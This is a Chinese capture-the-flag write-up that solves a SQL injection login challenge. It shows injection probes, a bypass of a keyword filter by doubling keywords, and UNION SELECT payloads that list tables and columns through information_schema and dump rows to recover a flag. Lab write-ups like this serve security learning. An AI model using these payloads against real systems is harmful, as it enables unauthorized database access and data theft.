题目分析
1.访问网址
这是一个sql注入的题目
2.判断是否存在注入点
#后端sql语句应该为
select * from users where username=$_GET['username'] and password=$_GET['password']
#所以我们需要构造检测注入点
#构造sql语句
select * from users where username='admin' or 1=1#' and password=''
#输入的数值为
admin' or 1=1#
提示让我们检查 1=1#‘ and password=‘134’这里;根据’134’,我们知道后端使用单引号闭合,而且我们更加确定后端sql语句是
select * from users where username='' and password=''
#而不是
select '','' from users;#第一个内是username,第二个内是password
我们再加长一下条件,测试一下是否过滤了某些关键词
username=admin' and 1=1 or 1=1#
password=123
这里提示报错时,我们发现我们输入的and和or都没了,猜测后端应该时匹配到and和or以后,就把他们删除了,所以我们采用双关键词绕过,构造包如下
发现登录成功,存在注入点
3.构造sql语句,获取信息
发现返回三个值时,会显示登录成功,其余情况都显示下标不对,所以应该返回三个值,而且,如果语句正确,会返回登录成功,否则会返回报错
所以,做到这里,我们就知道本题是一道 双关键词过滤的sql注类题目
4.爆出信息
获取表名
#注意对select,from ,or 等关键词双写绕过
union select 1,(select group_concat(table_name) from
information_schema.tables where table_schema =database()
),3%23
收获两张表,分别是b4bsql,geekuser
获取每个表的字段
#注意对select,from ,or 等关键词双写绕过
union select 1,(select group_concat(column_name) from
information_schema.columns where table_name='b4bsql' and
table_schema=database()),(select group_concat(column_name) from
information_schema.columns where table_name='geekuser' and
table_schema=database())
获取每个表的字段中的数据
#注意对select,from ,or 等关键词双写绕过,修改0的值(其表示第几行数据(从0开始标号)),直到爆出结果
union select id,username,password from b4bsql limit 0,1
到第7条数据爆出flag
flag{2bd2d334-18ea-45d8-accd-e11724531033}